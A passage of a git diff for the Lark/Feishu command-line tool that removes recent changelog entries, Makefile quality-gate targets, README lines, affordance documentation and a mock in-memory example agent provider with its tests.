- **drive**: Add `+inspect` shortcut for document URL inspection with wiki unwrapping (#947)
- **wiki**: Add `+node-get` / `+node-delete` / `+space-create` shortcuts (#904)
- **base**: Support Base attachment APIs (#887)
- **mail**: Validate `bot` + `mailbox=me` and add dynamic `--as` help tests (#895)
- **mail**: Expose draft priority in `--inspect` projection and document `--set-priority` (#779)
-
-### Bug Fixes
-
- **identitydiag**: Harden verify path and tighten status semantics (#961)
- **wiki**: Surface real node URL for `+node-create` / `+node-copy` (#960)
- **auth**: Split bot and user identity diagnostics (#957)
- **base**: Address Base attachment review follow-ups (#958)
- **docs**: Clarify `replace_all` selection errors (#954)
-
-### Documentation
-
- **drive**: Clarify add comment constraints (#967)
- **lark-im**: Clarify message activity search (#865)
-
-### Tests
-
- Verify e2e resource cleanup (#949)
- **lint**: Exclude `bidichk` from test files (#959)
-
-## [v1.0.33] - 2026-05-18
-
-### Features
-
- **markdown**: Add `+patch` shortcut (#857)
- **slides**: Improve slide planning and validation guidance (#847)
- **drive**: Add `+sync` workflow for Drive directories (#873)
- **drive**: Add drive version shortcut (#841)
- **extension**: Plugin / Hook framework with command pruning (#910)
-
-### Bug Fixes
-
- **sheets**: Explicitly document safe JSON unmarshal ignore in `DryRun` (#935)
- **base**: Mark base field update high risk (#936)
- **auth**: Guide agents to yield during auth device flow (#933)
-
-### Documentation
-
- **lark-wiki**: Correct the `--as` default-identity claim (#919)
-
-### Tests
-
- Drop stale e2e `--yes` flags (#920)
-
 ## [v1.0.32] - 2026-05-15

 ### Features
@@ -1317,35 +721,6 @@ Bundled AI agent skills for intelligent assistance:
 - Bilingual documentation (English & Chinese).
 - CI/CD pipelines: linting, testing, coverage reporting, and automated releases.

-[v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
-[v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
-[v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59
-[v1.0.58]: https://github.com/larksuite/cli/releases/tag/v1.0.58
-[v1.0.57]: https://github.com/larksuite/cli/releases/tag/v1.0.57
-[v1.0.56]: https://github.com/larksuite/cli/releases/tag/v1.0.56
-[v1.0.55]: https://github.com/larksuite/cli/releases/tag/v1.0.55
-[v1.0.54]: https://github.com/larksuite/cli/releases/tag/v1.0.54
-[v1.0.53]: https://github.com/larksuite/cli/releases/tag/v1.0.53
-[v1.0.52]: https://github.com/larksuite/cli/releases/tag/v1.0.52
-[v1.0.51]: https://github.com/larksuite/cli/releases/tag/v1.0.51
-[v1.0.50]: https://github.com/larksuite/cli/releases/tag/v1.0.50
-[v1.0.49]: https://github.com/larksuite/cli/releases/tag/v1.0.49
-[v1.0.48]: https://github.com/larksuite/cli/releases/tag/v1.0.48
-[v1.0.47]: https://github.com/larksuite/cli/releases/tag/v1.0.47
-[v1.0.46]: https://github.com/larksuite/cli/releases/tag/v1.0.46
-[v1.0.45]: https://github.com/larksuite/cli/releases/tag/v1.0.45
-[v1.0.44]: https://github.com/larksuite/cli/releases/tag/v1.0.44
-[v1.0.43]: https://github.com/larksuite/cli/releases/tag/v1.0.43
-[v1.0.42]: https://github.com/larksuite/cli/releases/tag/v1.0.42
-[v1.0.41]: https://github.com/larksuite/cli/releases/tag/v1.0.41
-[v1.0.40]: https://github.com/larksuite/cli/releases/tag/v1.0.40
-[v1.0.39]: https://github.com/larksuite/cli/releases/tag/v1.0.39
-[v1.0.38]: https://github.com/larksuite/cli/releases/tag/v1.0.38
-[v1.0.37]: https://github.com/larksuite/cli/releases/tag/v1.0.37
-[v1.0.36]: https://github.com/larksuite/cli/releases/tag/v1.0.36
-[v1.0.35]: https://github.com/larksuite/cli/releases/tag/v1.0.35
-[v1.0.34]: https://github.com/larksuite/cli/releases/tag/v1.0.34
-[v1.0.33]: https://github.com/larksuite/cli/releases/tag/v1.0.33
 [v1.0.32]: https://github.com/larksuite/cli/releases/tag/v1.0.32
 [v1.0.31]: https://github.com/larksuite/cli/releases/tag/v1.0.31
 [v1.0.30]: https://github.com/larksuite/cli/releases/tag/v1.0.30
--- a/52
+++ b/52
@@ -5,25 +5,10 @@ BINARY   := lark-cli
 MODULE   := github.com/larksuite/cli
 VERSION  := $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
 DATE     := $(shell date +%Y-%m-%d)
-NODE     ?= node
-QUALITY_GATE_CHANGED_FROM ?= $(shell bash scripts/resolve-changed-from.sh)
-QUALITY_GATE_CHANGED_FROM_RESOLVED = $(if $(strip $(QUALITY_GATE_CHANGED_FROM)),$(QUALITY_GATE_CHANGED_FROM),$(shell bash scripts/resolve-changed-from.sh))
-QUALITY_GATE_DIR ?= .tmp/quality-gate
-QUALITY_GATE_MANIFEST_OUT ?= $(QUALITY_GATE_DIR)/command-manifest.json
-QUALITY_GATE_COMMAND_INDEX_OUT ?= $(QUALITY_GATE_DIR)/command-index.json
-QUALITY_GATE_FACTS_OUT ?= $(QUALITY_GATE_DIR)/facts.json
-PUBLIC_CONTENT_METADATA ?= $(QUALITY_GATE_DIR)/public-content-metadata.json
 LDFLAGS  := -s -w -X $(MODULE)/internal/build.Version=$(VERSION) -X $(MODULE)/internal/build.Date=$(DATE)
 PREFIX   ?= /usr/local

-# The repository's Go 1.23 CI toolchain does not support -race on riscv64.
-# Prefer GOARCH passed to make (for example, `make GOARCH=riscv64 unit-test`)
-# over `go env GOARCH`, because command-line make variables are not visible to
-# $(shell ...).
-TEST_GOARCH := $(or $(GOARCH),$(shell go env GOARCH))
-RACE_FLAG := $(if $(filter riscv64,$(TEST_GOARCH)),,-race)
-
-.PHONY: all build vet fmt-check script-test test unit-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks
+.PHONY: all build vet fmt-check test unit-test integration-test examples-build install uninstall clean fetch_meta gitleaks

 all: test

@@ -47,15 +32,9 @@ fmt-check:
 		exit 1; \
 	fi

-script-test:
-	bash scripts/resolve-changed-from.test.sh
-	bash scripts/ci-workflow.test.sh
-	bash scripts/semantic-review-workflow.test.sh
-	$(NODE) --test scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
-
 # ./extension/... keeps the public plugin SDK in the default test matrix.
 unit-test: fetch_meta
-	go test $(RACE_FLAG) -gcflags="all=-N -l" -count=1 \
+	go test -race -gcflags="all=-N -l" -count=1 \
 		./cmd/... ./internal/... ./shortcuts/... ./extension/...

 # examples-build keeps the shipped plugin-SDK examples compilable. If this
@@ -67,32 +46,7 @@ examples-build:
 integration-test: build
 	go test -v -count=1 ./tests/...

-test: vet fmt-check script-test unit-test examples-build integration-test
-
-quality-gate: build
-	mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT)) $(dir $(PUBLIC_CONTENT_METADATA))
-	test -f $(PUBLIC_CONTENT_METADATA) || printf '{}\n' > $(PUBLIC_CONTENT_METADATA)
-	LARKSUITE_CLI_REMOTE_META=off \
-	LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
-	LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
-	go run ./internal/qualitygate/cmd/manifest-export \
-		--manifest-out $(QUALITY_GATE_MANIFEST_OUT) \
-		--command-index-out $(QUALITY_GATE_COMMAND_INDEX_OUT)
-	LARKSUITE_CLI_APP_ID=dry-run \
-	LARKSUITE_CLI_APP_SECRET=dry-run \
-	LARKSUITE_CLI_BRAND=feishu \
-	LARKSUITE_CLI_CONFIG_DIR=$${TMPDIR:-/tmp}/quality-gate-cli-config \
-	LARKSUITE_CLI_REMOTE_META=off \
-	LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
-	LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
-	go run ./internal/qualitygate/cmd/quality-gate check \
-		--repo . \
-		--cli-bin ./$(BINARY) \
-		--changed-from $(QUALITY_GATE_CHANGED_FROM_RESOLVED) \
-		--manifest $(QUALITY_GATE_MANIFEST_OUT) \
-		--command-index $(QUALITY_GATE_COMMAND_INDEX_OUT) \
-		--public-content-metadata $(PUBLIC_CONTENT_METADATA) \
-		--facts-out $(QUALITY_GATE_FACTS_OUT)
+test: vet fmt-check unit-test examples-build integration-test

 install: build
 	install -d $(PREFIX)/bin
--- a/README.md
+++ b/README.md
@@ -6,14 +6,14 @@

 [中文版](./README.zh.md) | [English](./README.md)

-The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by the [larksuite](https://github.com/larksuite) team — built for humans and AI Agents. Covers core business domains including Messenger, Docs, Base, Sheets, Slides, Calendar, Mail, Tasks, Meetings, Markdown, and more, with 200+ commands and 26 AI Agent [Skills](./skills/).
+The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by the [larksuite](https://github.com/larksuite) team — built for humans and AI Agents. Covers core business domains including Messenger, Docs, Base, Sheets, Slides, Calendar, Mail, Tasks, Meetings, Markdown, and more, with 200+ commands and 24 AI Agent [Skills](./skills/).

 [Install](#installation--quick-start) · [AI Agent Skills](#agent-skills) · [Auth](#authentication) · [Commands](#three-layer-command-system) · [Advanced](#advanced-usage) · [Security](#security--risk-warnings-read-before-use) · [Contributing](#contributing)

 ## Why lark-cli?

 - **Agent-Native Design** — 24 structured [Skills](./skills/) out of the box, compatible with popular AI tools — Agents can operate Lark with zero extra setup
- **Wide Coverage** — 18 business domains, 200+ curated commands, 26 AI Agent [Skills](./skills/)
+- **Wide Coverage** — 17 business domains, 200+ curated commands, 24 AI Agent [Skills](./skills/)
 - **AI-Friendly & Optimized** — Every command is tested with real Agents, featuring concise parameters, smart defaults, and structured output to maximize Agent call success rates
 - **Open Source, Zero Barriers** — MIT license, ready to use, just `npm install`
 - **Up and Running in 3 Minutes** — One-click app creation, interactive login, from install to first API call in just 3 steps
@@ -28,7 +28,7 @@ The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by t
 | 💬 Messenger  | Send/reply messages, create and manage group chats, view chat history & threads, search messages, download media                  |
 | 📄 Docs       | Create, read, update, and search documents, read/write media & whiteboards                                                        |
 | 📁 Drive      | Upload and download files, search docs & wiki, manage comments                                                                    |
-| 📝 Markdown   | Create, fetch, patch, and overwrite Drive-native `.md` files                                                                      |
+| 📝 Markdown   | Create, fetch, and overwrite Drive-native `.md` files                                                                             |
 | 📊 Base       | Create and manage tables, fields, records, views, dashboards, workflows, forms, roles & permissions, data aggregation & analytics |
 | 📈 Sheets     | Create, read, write, append, find, and export spreadsheet data                                                                    |
 | 🖼️ Slides     | Create and manage presentations, read presentation content, and add or remove slides                                              |
@@ -41,7 +41,6 @@ The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by t
 | ✍️ Approval   | Query approval tasks, approve/reject/transfer tasks, cancel and CC instances                                                      |
 | 🎯 OKR        | Query, create, update OKRs; manage objective & key results, alignments, indicators and progress.                                  |
 | 📋 Project    | Meegle — manage work items, schedules, and data via the standalone [meegle-cli](https://github.com/larksuite/meegle-cli) (install separately) |
-| 🔗 Apps       | Create Spark/Miaoda apps, publish HTML/static sites, run cloud generation, and manage access scope                                 |

 ## Installation & Quick Start

@@ -133,7 +132,7 @@ lark-cli auth status
 | `lark-im`                       | Send/reply messages, group chat management, message search, upload/download images & files, reactions          |
 | `lark-doc`                      | Create, read, update, search documents (Markdown-based)                                                        |
 | `lark-drive`                    | Upload, download files, manage permissions & comments                                                          |
-| `lark-markdown`                 | Create, fetch, patch, and overwrite Drive-native Markdown files                                                |
+| `lark-markdown`                 | Create, fetch, and overwrite Drive-native Markdown files                                                       |
 | `lark-sheets`                   | Create, read, write, append, find, export spreadsheets                                                         |
 | `lark-slides`                   | Create and manage presentations, read presentation content, and add or remove slides                          |
 | `lark-base`                     | Tables, fields, records, views, dashboards, data aggregation & analytics                                       |
@@ -198,7 +197,7 @@ Prefixed with `+`, designed to be friendly for both humans and AI, with smart de
 ```bash
 lark-cli calendar +agenda
 lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
-lark-cli docs +create --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
+lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
 ```

 Run `lark-cli <service> --help` to see all shortcut commands.
@@ -279,8 +278,6 @@ Community contributions are welcome! If you find a bug or have feature suggestio

 For major changes, we recommend discussing with us first via an Issue.

-Before opening a PR, see [AGENTS.md](./AGENTS.md) for the local build, test, and PR checklist used by contributors and AI agents.
-
 ## License

 This project is licensed under the **MIT License**.
--- a/README.zh.md
+++ b/README.zh.md
@@ -6,14 +6,14 @@

 [中文版](./README.zh.md) | [English](./README.md)

-飞书官方 CLI 工具，由 [larksuite](https://github.com/larksuite) 团队维护 — 让人类和 AI Agent 都能在终端中操作飞书。覆盖消息、文档、多维表格、电子表格、幻灯片、日历、邮箱、任务、会议、Markdown 等核心业务域，提供 200+ 命令及 26 个 AI Agent [Skills](./skills/)。
+飞书官方 CLI 工具，由 [larksuite](https://github.com/larksuite) 团队维护 — 让人类和 AI Agent 都能在终端中操作飞书。覆盖消息、文档、多维表格、电子表格、幻灯片、日历、邮箱、任务、会议、Markdown 等核心业务域，提供 200+ 命令及 24 个 AI Agent [Skills](./skills/)。

 [安装](#安装与快速开始) · [AI Agent Skills](#agent-skills) · [认证](#认证) · [命令](#三层命令调用) · [进阶用法](#进阶用法) · [安全](#安全与风险提示使用前必读) · [贡献](#贡献)

 ## 为什么选 lark-cli？

- **为 Agent 原生设计** — 26 个 [Skills](./skills/) 开箱即用，适配主流 AI 工具，Agent 无需额外适配即可操作飞书
- **覆盖面广** — 18 大业务域、200+ 精选命令、26 个 AI Agent [Skills](./skills/)
+- **为 Agent 原生设计** — 24 个 [Skills](./skills/) 开箱即用，适配主流 AI 工具，Agent 无需额外适配即可操作飞书
+- **覆盖面广** — 17 大业务域、200+ 精选命令、24 个 AI Agent [Skills](./skills/)
 - **AI 友好调优** — 每条命令经过 Agent 实测验证，提供更友好的参数、智能默认值和结构化输出，大幅提升 Agent 调用成功率
 - **开源零门槛** — MIT 协议，开箱即用，`npm install` 即可使用
 - **三分钟上手** — 一键创建应用、交互式登录授权，从安装到第一次 API 调用只需三步
@@ -28,7 +28,7 @@
 | 💬 即时通讯 | 发送/回复消息、创建和管理群聊、查看聊天记录与话题、搜索消息、下载媒体文件      |
 | 📄 云文档   | 创建、读取、更新文档、搜索文档、读写素材与画板                    |
 | 📁 云空间   | 上传和下载文件、搜索文档与知识库、管理评论                      |
-| 📝 Markdown | 创建、读取、局部 patch、覆盖更新 Drive 中的原生 `.md` 文件          |
+| 📝 Markdown | 创建、读取、覆盖更新 Drive 中的原生 `.md` 文件                |
 | 📊 多维表格 | 创建和管理数据表、字段、记录、视图、仪表盘、自动化流程、表单、角色权限，数据聚合分析 |
 | 📈 电子表格 | 创建、读取、写入、追加、查找和导出表格数据                      |
 | 🖼️ 幻灯片   | 创建和管理演示文稿、读取演示文稿内容，以及新增或删除幻灯片页面 |
@@ -41,7 +41,6 @@
 | ✍️ 审批     | 查询审批任务、同意/拒绝/转交审批任务、撤回与抄送审批实例              |
 | 🎯 OKR  | 查询、创建、更新 OKR，管理目标、关键结果、对齐、指标和进展记录        |
 | 📋 飞书项目 | 管理工作项、排期与数据 — 由独立的 [meegle-cli](https://github.com/larksuite/meegle-cli) 提供（需单独安装） |
-| 🔗 应用     | 创建妙搭（Spark/Miaoda）应用、发布 HTML/静态站点、云端生成迭代、管理可用范围                                                                                                   |

 ## 安装与快速开始

@@ -134,7 +133,7 @@ lark-cli auth status
 | `lark-im`                       | 发送/回复消息、群聊管理、消息搜索、上传下载图片与文件、表情回复          |
 | `lark-doc`                      | 创建、读取、更新、搜索文档（基于 Markdown）                |
 | `lark-drive`                    | 上传、下载文件，管理权限与评论                           |
-| `lark-markdown`                 | 创建、读取、局部 patch、覆盖更新 Drive 中的原生 Markdown 文件   |
+| `lark-markdown`                 | 创建、读取、覆盖更新 Drive 中的原生 Markdown 文件         |
 | `lark-sheets`                   | 创建、读取、写入、追加、查找、导出电子表格                     |
 | `lark-slides`                   | 创建和管理演示文稿、读取演示文稿内容，以及新增或删除幻灯片页面 |
 | `lark-base`                     | 多维表格、字段、记录、视图、仪表盘、数据聚合分析                  |
@@ -199,7 +198,7 @@ CLI 提供三种粒度的调用方式，覆盖从快速操作到完全自定义
 ```bash
 lark-cli calendar +agenda
 lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
-lark-cli docs +create --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
+lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
 ```

 运行 `lark-cli <service> --help` 查看所有快捷命令。
@@ -280,8 +279,6 @@ lark-cli schema im.messages.delete

 对于较大的改动，建议先通过 Issue 与我们讨论。

-提交 PR 前，请先阅读 [AGENTS.md](./AGENTS.md)，其中列出了贡献者和 AI Agent 使用的本地构建、测试和 PR 检查清单。
-
 ## 许可证

 本项目基于 **MIT 许可证** 开源。
--- a/affordance/README.md
+++ b/affordance/README.md
@@ -1,49 +0,0 @@
-# Affordance
-
-Per-command usage guidance for the CLI, authored as one markdown file per domain
-(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
-`schema` output, and read directly at runtime (lazy, cached) — there is no build
-step. Maintain these files alongside `skills/` and `shortcuts/`.
-
-## Format
-
-A small, fixed markdown subset; each file describes one domain:
-
-    # <domain>            optional `> skill: <name>` applies to every command below
-    ## <command>          the command as typed, minus `lark-cli <domain>`
-    <lead paragraph>      when to use this command
-    ### Avoid when        when not to use it / which command to use instead
-    ### Prerequisites     what you must have first (e.g. an id, and where it comes from)
-    ### Tips              gotchas and constraints
-    ### Examples          **description** lines, each followed by a fenced command
-    ### <other heading>   a custom section; flows through verbatim
-
-Reference another command with `[[command]]` — it renders as `command` in help.
-Under `Avoid when` it means "use that one instead"; under `Prerequisites`
-("… from [[command]]") it means "get the input there first".
-
-## Example
-
-    ## messages get
-    Fetch the full content of a single message by id.
-
-    ### Avoid when
-    - Reading several at once → use [[messages batch_get]]
-
-    ### Prerequisites
-    - message_id from [[messages list]]
-
-    ### Examples
-
-    **Fetch one message**
-    ```bash
-    lark-cli mail user_mailbox.messages get --message-id "<id>"
-    ```
-
-## Notes
-
- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
- Keep it concise and high-signal — don't restate field/flag names, id types, or
-  anything the schema and flags already show; the agent infers the rest.
- Command-form headings resolve to method ids via the registry, so plural resource
-  names (`messages`) map to the singular method id (`message`) automatically.
--- a/affordance/contact.md
+++ b/affordance/contact.md
@@ -1,19 +0,0 @@
-# contact
-> skill: lark-contact
-
-## user_profiles batch_query
-Bulk-fetch personal status and signature for user ids you already have.
-
-### Avoid when
- Need more than status/signature (name, dept, email), or don't have the open_id yet → use [[+search-user]]
-
-### Tips
- Off by default — set include_personal_status / include_description to true under query_option
- ids in user_ids must match --user-id-type (default open_id)
-
-### Examples
-
-**Bulk-query status and signature**
-```bash
-lark-cli contact user_profiles batch_query --data '{"user_ids":["ou_3a8b****6a7b"],"query_option":{"include_personal_status":true,"include_description":true}}'
-```
--- a/agent/example/example.go
+++ b/agent/example/example.go
@@ -1,233 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package example is the in-repo agent provider onboarding template and offline
-// demo backend: a hypothetical example business domain whose data / calls are
-// entirely in-memory mocks, with zero network. It has three roles:
-//
-//  1. A copy-start point for new integrators — copy the package, rename the
-//     scheme, write plain hook funcs, add one line to agent/register.go. There is
-//     no Factory, no Deps, no probe, no Kind field.
-//  2. The command tree's offline demo backend — the full agent
-//     list/card/send/task/context chain runs for real without any platform config.
-//  3. A stable mock scheme for cmd-layer tests.
-//
-// The whole provider is a declarative agent.Provider value: metadata + a catalog
-// of agent.AgentSpec units. Each spec's capability set is exactly the hooks it
-// wires (the framework derives the card matrix from that), so echo (minimal) and
-// reporter (full) differ by DATA, not by a Factory branch.
-package example
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-)
-
-// Provider is the whole declaration. The Catalog set makes this a catalog-type
-// provider; the framework derives enumeration (agent list example), the
-// unknown-id error, and each agent's card matrix from this data.
-func Provider() agent.Provider {
-	return agent.Provider{
-		Scheme:        "example",
-		Label:         "Example 演示 agent（内存 mock，零网络）",
-		AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref（无需任何平台配置）",
-		Identities:    []agent.IdentitySpec{{Type: agent.IdentityUser}, {Type: agent.IdentityBot}},
-		// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
-		Catalog: []agent.AgentSpec{echoSpec, reporterSpec},
-	}
-}
-
-// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
-// NOTHING else, so its card honestly shows task_cancel / artifact_download /
-// file_input = false. Capability IS exactly the wired hooks — there is no bool
-// matrix and no capability-refusal code (the command layer gates unwired hooks).
-var echoSpec = agent.AgentSpec{
-	ID:            "echo",
-	Name:          "复读机",
-	Description:   "把你发的话原样复读一遍（同一会话续发时带轮次，证明上下文记忆）。最小能力集示范。",
-	Send:          echoSend,
-	GetTask:       getTask,
-	ListTasks:     listTasks,
-	ListContexts:  listContexts,
-	GetContext:    getContext,
-	DeleteContext: deleteContext,
-}
-
-// reporterSpec is the full set: it additionally wires CancelTask +
-// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
-// difference between the two agents is data you read top-to-bottom, not a branch
-// inside a Factory.
-var reporterSpec = agent.AgentSpec{
-	ID:               "reporter",
-	Name:             "报表生成器",
-	Description:      "对任意请求产出一份内联 CSV 报表 artifact，示范 artifact 下载与任务取消链路。",
-	FileInput:        true,
-	InputRequired:    true,
-	Send:             reporterSend,
-	GetTask:          getTask,
-	ListTasks:        listTasks,
-	ListContexts:     listContexts,
-	GetContext:       getContext,
-	DeleteContext:    deleteContext,
-	CancelTask:       cancelTask,
-	DownloadArtifact: downloadArtifact,
-}
-
-// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
-//    data, replacing the old state.agentID). The mock ignores rt's network
-//    methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
-//    anywhere — the framework's LookupSpec validated ref→spec offline before
-//    dispatch, so an unknown id never reaches a hook. ──
-
-// echoSend echoes the input; from round 2 on it appends a round marker to prove
-// across commands that context memory works.
-func echoSend(ctx context.Context, rt agent.Runtime, in agent.SendInput) (*agent.AgentTask, error) {
-	return newTurn(rt.AgentID(), in, func(round int) (string, []agent.Artifact) {
-		reply := in.Text
-		if round > 1 {
-			reply = fmt.Sprintf("%s（第 %d 轮）", in.Text, round)
-		}
-		return reply, nil
-	})
-}
-
-// reporterSend produces a fixed inline CSV artifact for any request.
-func reporterSend(ctx context.Context, rt agent.Runtime, in agent.SendInput) (*agent.AgentTask, error) {
-	return newTurn(rt.AgentID(), in, func(round int) (string, []agent.Artifact) {
-		reply := "报表已生成：quarterly_report.csv（见 artifacts，用 task get --artifact <id> -o <path> 下载）"
-		if n := len(in.Files); n > 0 {
-			reply = fmt.Sprintf("已收到 %d 个附件；%s", n, reply)
-		}
-		return reply, []agent.Artifact{{ID: newID("art"), Kind: "text"}}
-	})
-}
-
-// newTurn factors the shared store flow: start/continue a context, then create a
-// task whose body the caller builds per round. The mock task is instantly
-// terminal, so there is no "feed input to a running task" scenario — continuing
-// via --task-id returns failed_precondition (the request is valid but the target
-// state does not satisfy it, so the AI knows to start a new task instead).
-func newTurn(agentID string, in agent.SendInput, build func(round int) (reply string, artifacts []agent.Artifact)) (*agent.AgentTask, error) {
-	if in.TaskID != "" {
-		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"example 的任务发出即完成（终态），无法向已有任务续发").
-			WithParam("--task-id").
-			WithHint("去掉 --task-id，用 --context-id 在同一会话起新一轮任务")
-	}
-	ctxID := in.ContextID
-	if ctxID == "" {
-		var err error
-		ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
-		if err != nil {
-			return nil, err
-		}
-	}
-	// createTask validates context ownership under the lock (an unknown /
-	// cross-agent context id is rejected inside with a typed error), computes the
-	// round, and inserts atomically.
-	task, err := store.createTask(agentID, ctxID, func(round int) agent.AgentTask {
-		reply, artifacts := build(round)
-		return agent.AgentTask{
-			TaskID:     newID("task"),
-			ContextID:  ctxID,
-			State:      agent.StateCompleted,
-			IsTerminal: true,
-			Messages: []agent.Message{
-				{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
-				{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
-			},
-			Artifacts: artifacts,
-		}
-	})
-	if err != nil {
-		return nil, err
-	}
-	return &task, nil
-}
-
-func getTask(ctx context.Context, rt agent.Runtime, taskID string) (*agent.AgentTask, error) {
-	task, err := store.getTask(rt.AgentID(), taskID)
-	if err != nil {
-		return nil, err
-	}
-	return &task, nil
-}
-
-func listTasks(ctx context.Context, rt agent.Runtime, contextID string) ([]agent.TaskSummary, error) {
-	return store.listTasks(rt.AgentID(), contextID), nil
-}
-
-func listContexts(ctx context.Context, rt agent.Runtime) ([]agent.ContextSummary, error) {
-	return store.listContexts(rt.AgentID()), nil
-}
-
-func getContext(ctx context.Context, rt agent.Runtime, ctxID string) (*agent.ContextDetail, error) {
-	return store.getContext(rt.AgentID(), ctxID)
-}
-
-func deleteContext(ctx context.Context, rt agent.Runtime, ctxID string) error {
-	return store.deleteContext(rt.AgentID(), ctxID)
-}
-
-// cancelTask is wired only for reporter, so echo never reaches it (the command
-// layer gates echo's cancel on the nil field). The mock task is completed the
-// moment it is sent, so canceling a terminal task returns a failed_precondition
-// typed error rather than pretending success.
-func cancelTask(ctx context.Context, rt agent.Runtime, taskID string) error {
-	task, err := store.getTask(rt.AgentID(), taskID)
-	if err != nil {
-		return err
-	}
-	if task.State.IsTerminal() {
-		return errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"任务 '%s' 已处于终态 %s，无法取消", taskID, task.State).
-			WithHint("终态任务不可取消；用 lark-cli agent task get example:%s %s 查看结果", rt.AgentID(), taskID)
-	}
-	return store.setTaskState(taskID, agent.StateCanceled)
-}
-
-// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
-const reportCSV = "quarter,revenue,cost,margin\n" +
-	"2026Q1,1250,830,0.336\n" +
-	"2026Q2,1410,905,0.358\n"
-
-// downloadArtifact is wired only for reporter (echo is gated on the nil field).
-// It returns inline Bytes; a real provider would fill URL instead and let the
-// command layer SSRF-validate + fetch.
-//
-// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
-// file name, echoed back only as a reference for choosing -o — it is untrusted
-// and never participates in constructing the local save path (the save path is
-// always -o/SafeOutputPath).
-func downloadArtifact(ctx context.Context, rt agent.Runtime, taskID, artifactID string) (*agent.ArtifactData, error) {
-	task, err := store.getTask(rt.AgentID(), taskID)
-	if err != nil {
-		return nil, err
-	}
-	for _, a := range task.Artifacts {
-		if a.ID == artifactID {
-			return &agent.ArtifactData{
-				Name:  "quarterly_report.csv",
-				Mime:  "text/csv",
-				Bytes: []byte(reportCSV),
-			}, nil
-		}
-	}
-	return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
-		WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
-}
-
-// truncateTitle takes the first few characters of the message as the context
-// title (truncated by rune to avoid cutting a character in half).
-func truncateTitle(s string) string {
-	const max = 20
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max]) + "…"
-}
--- a/agent/example/example_test.go
+++ b/agent/example/example_test.go
@@ -1,448 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package example
-
-import (
-	"context"
-	"encoding/json"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/agent/agenttest"
-)
-
-// Register the example provider for this test binary (provider packages are pure
-// data now — the top-level agent package's init does this in production, but that
-// package cannot be imported here without an import cycle).
-func init() { agent.Register(Provider()) }
-
-// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
-// and no-ops the network methods (the mock hooks only ever read AgentID()).
-type fakeRuntime struct{ agentID string }
-
-func (r fakeRuntime) AgentID() string { return r.agentID }
-func (r fakeRuntime) IsBot() bool     { return false }
-func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
-	return nil, nil
-}
-func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agent.FilePart) (json.RawMessage, error) {
-	return nil, nil
-}
-
-// swapStore replaces the package-level store with an isolated instance pointing at
-// t.TempDir, so tests do not pollute each other or the local demo snapshot.
-func swapStore(t *testing.T) {
-	t.Helper()
-	old := store
-	store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
-	t.Cleanup(func() { store = old })
-}
-
-// TestConformance runs the shared conformance suite for both catalog entries.
-func TestConformance(t *testing.T) {
-	agenttest.RunConformance(t, "example", "echo")
-}
-
-func TestConformanceReporter(t *testing.T) {
-	agenttest.RunConformance(t, "example", "reporter")
-}
-
-// TestCapabilityMatrixDiverges pins the deliberate difference between the two
-// agents, derived purely from which hooks each spec wires.
-func TestCapabilityMatrixDiverges(t *testing.T) {
-	ec := agent.DeriveCapabilities(&echoSpec)
-	rc := agent.DeriveCapabilities(&reporterSpec)
-	if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
